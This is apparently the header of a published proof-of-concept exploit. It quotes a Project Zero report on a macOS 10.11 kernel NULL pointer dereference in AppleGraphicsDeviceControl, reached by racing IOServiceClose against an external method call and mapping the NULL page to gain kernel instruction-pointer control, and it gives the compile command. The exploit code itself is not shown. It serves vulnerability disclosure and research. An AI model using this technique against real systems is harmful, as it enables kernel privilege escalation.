Apple Mac OSX Kernel – Null Pointer Dereference in AppleGraphicsDeviceControl
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=782 AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it in all external methods. We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the other of which makes any external method call. By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer. tested on OS X 10.11.4 (15E65) MacBookPro 10,1 */ // ianbeer // clang -o graphicscontrol_race graphicscontrol_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0 /* OS X exploitable kernel NULL pointer dereference in AppleGraphicsDeviceControl AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it in all external methods.
